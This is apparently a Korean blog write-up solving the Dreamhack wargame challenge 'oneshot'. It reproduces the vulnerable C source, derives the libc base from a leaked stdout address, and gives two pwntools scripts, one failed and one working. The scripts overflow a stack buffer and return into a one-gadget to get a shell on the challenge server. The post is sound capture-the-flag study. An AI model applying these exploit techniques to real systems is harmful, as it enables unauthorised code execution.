문제: https://dreamhack.io/wargame/challenges/34
oneshot
Description 이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에
dreamhack.io
원가젯 신나게 써보기!!
📍 보호기법

64비트, Partial RELRO, 카나리 없고, NX랑 PIE는 걸려 있다.
📍 소스코드
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
16바이트 크기의 `msg`에 46바이트만큼 쓸 수 있으므로 40바이트만큼의 overwrite가 가능하다.
이때 `check`이 양수면 exit해 버리므로 신경써야 한다.
참고로 64비트이므로 `size_t`인 `check`는 8바이트 크기이다.
fho 문제에서 풀었던 것처럼 `main`의 리턴주소를 원가젯 주소로 덮으면 되겠다.
변수들의 스택 위치는 다음과 같다.

`msg` => `[rbp-0x20]`
`check` => `[rbp-0x8]`
📍 익스플로잇
🫧 libc base 찾기
문제에서 `stdout`의 주소를 주고 있다.
이 주소를 받은 다음, `stdout`의 offset을 빼서 libc base를 구할 수 있을 것 같다. (스포: 아래처럼 하면 안됨)
stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols['stdout']
libc_base = stdout_leak - stdout_offset
🫧 원가젯 찾기
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
풍년이다🤩
만만해 보이는 `0x4526a`로 일단 정하고 익스플로잇 코드를 작성해 보자.
one_gadget = libc_base + 0x4526a
🫧 최종 스크립트(스포: 실패함)
from pwn import *
p = remote("host8.dreamhack.games", 8306)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
p.recvuntil("stdout: ")
stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols['stdout']
libc_base = stdout_leak - stdout_offset
one_gadget = libc_base + 0x4526a
payload = b'A'*(0x20-0x8)
payload += b'\x00'*0x8
payload += b'B'*0x8
payload += p64(one_gadget)
p.recvuntil("MSG: ")
p.sendline(payload)
p.interactive()
음...

원가젯 실행에서 막힌 것 같다.
`0x4526a`의 원가젯의 constraints는 `[rsp+0x30]`이 NULL이어야 한다는 거였다.
문제는 내가 `msg`에 쓸 수 있는 건 46바이트인데, `msg`는 `[rbp-0x20]` 즉 베이스 포인터로부터 32바이트 떨어진 곳에 위치하고 있는 16바이트 크기의 배열이다. saved rbp 직전까지 덮으면 남는 건 14바이트밖에 없다. 즉 0x30=48바이트를 덮을 수가 없다...
자동으로 그 뒤의 원가젯들도 사용이 막혔고, 첫 번째 원가젯을 써야 하므로 `rax == NULL`이라는 조건을 맞춰야 한다.
그리고 틀린 게 한 개가 아닌데 ㅋㅋ 그냥 `stdout`은 전역변수다.
전역 포인터 변수가 가리키고 있는 곳의 주소를 leak해야 답이 맞는다.
파일 입출력 스트림이 열릴 때마다 `FILE` 구조체 인스턴스가 생기는데, 이곳의 주소를 찾아야 한다.
$ objdump -D libc.so.6 | grep stdout
50060: 48 8b 05 e9 3e 37 00 mov 0x373ee9(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
5588a: 48 8b 05 bf e6 36 00 mov 0x36e6bf(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
6d349: 48 3b 1d b8 83 35 00 cmp 0x3583b8(%rip),%rbx # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
6f69c: 48 8b 2d 65 60 35 00 mov 0x356065(%rip),%rbp # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
6f705: 48 8b 3d fc 5f 35 00 mov 0x355ffc(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
6f73d: 48 8b 3d c4 5f 35 00 mov 0x355fc4(%rip),%rdi # 3c570
...
`objdump -D` 옵션으로 전부 디스어셈블해서 보면, `_IO_2_1_stdout_`이라는 이름이 보인다.
근데 그냥 `nm -D` 옵션으로 바로 찾을 수 있다고 한다. 참고!
$ nm -D libc.so.6 | grep stdout
00000000003c5620 D _IO_2_1_stdout_@@GLIBC_2.2.5
00000000003c5708 D stdout@@GLIBC_2.2.5
🫧 진짜 최종 스크립트
from pwn import *
p = remote("host8.dreamhack.games", 8306)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
p.recvuntil("stdout: ")
stdout_leak = int(p.recvline()[:-1], 16)
stdout_offset = libc.symbols["_IO_2_1_stdout_"]
libc_base = stdout_leak - stdout_offset
one_gadget = libc_base + 0x45216
payload = b'A'*(0x20-0x8)
payload += b'\x00'*0x8
payload += b'B'*0x8
payload += p64(one_gadget)
p.recvuntil("MSG: ")
p.sendline(payload)
p.interactive()

🚩
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| pwnable 문제풀이 (0) | 2025.04.09 |
|---|---|
| [드림핵] hook (0) | 2025.04.09 |
| [드림핵] fho (0) | 2025.03.30 |
| [드림핵] basic_rop_x64 (0) | 2025.03.30 |
| [드림핵] struct person_t (1) | 2025.03.29 |